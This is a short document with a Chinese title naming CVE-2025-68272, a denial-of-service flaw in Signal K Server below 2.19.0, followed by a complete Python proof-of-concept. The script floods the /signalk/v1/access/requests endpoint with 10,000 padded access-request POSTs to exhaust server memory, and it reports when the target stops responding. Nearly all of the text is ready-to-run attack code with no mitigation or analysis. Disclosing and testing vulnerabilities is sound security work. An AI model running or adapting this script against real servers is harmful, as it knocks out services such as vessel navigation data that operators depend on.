CVE-2025-68272 Signal K Server 拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-68272 PoC - Signal K Server DoS Exploit Signal K Server < 2.19.0 - Unbounded Memory Consumption in /signalk/v1/access/requests """ import requests import time import sys TARGET_URL = "http://target-server:3000/signalk/v1/access/requests" NUM_REQUESTS = 10000 DELAY = 0.001 # Delay between requests in seconds def create_request_payload(request_id): """Create a malicious access request payload""" return { "clientId": f"malicious-client-{request_id}", "description": "Access request for navigation data", "permissions": ["read", "write"], "metadata": { "source": "poc-exploit", "timestamp": time.time(), "data": "x" * 1000 # Additional payload size } } def exploit_dos(): """Send rapid requests to exhaust server memory""" print(f"[*] Starting DoS attack against {TARGET_URL}") print(f"[*] Target: Signal K Server < 2.19.0") print(f"[*] Sending {NUM_REQUESTS} requests...") success_count = 0 error_count = 0 for i in range(NUM_REQUESTS): try: response = requests.post( TARGET_URL, json=create_request_payload(i), headers={"Content-Type": "application/json"}, timeout=5 ) success_count += 1 if i % 100 == 0: print(f"[*] Progress: {i}/{NUM_REQUESTS} requests sent") except requests.exceptions.RequestException as e: error_count += 1 if "Connection" in str(e) or "Timeout" in str(e): print(f"[!] Server may be down or unresponsive after {i} requests") break time.sleep(DELAY) print(f"\n[*] Attack completed") print(f"[*] Successful requests: {success_count}") print(f"[*] Errors: {error_count}") print(f"[!] Check if server is still responsive") if __name__ == "__main__": exploit_dos()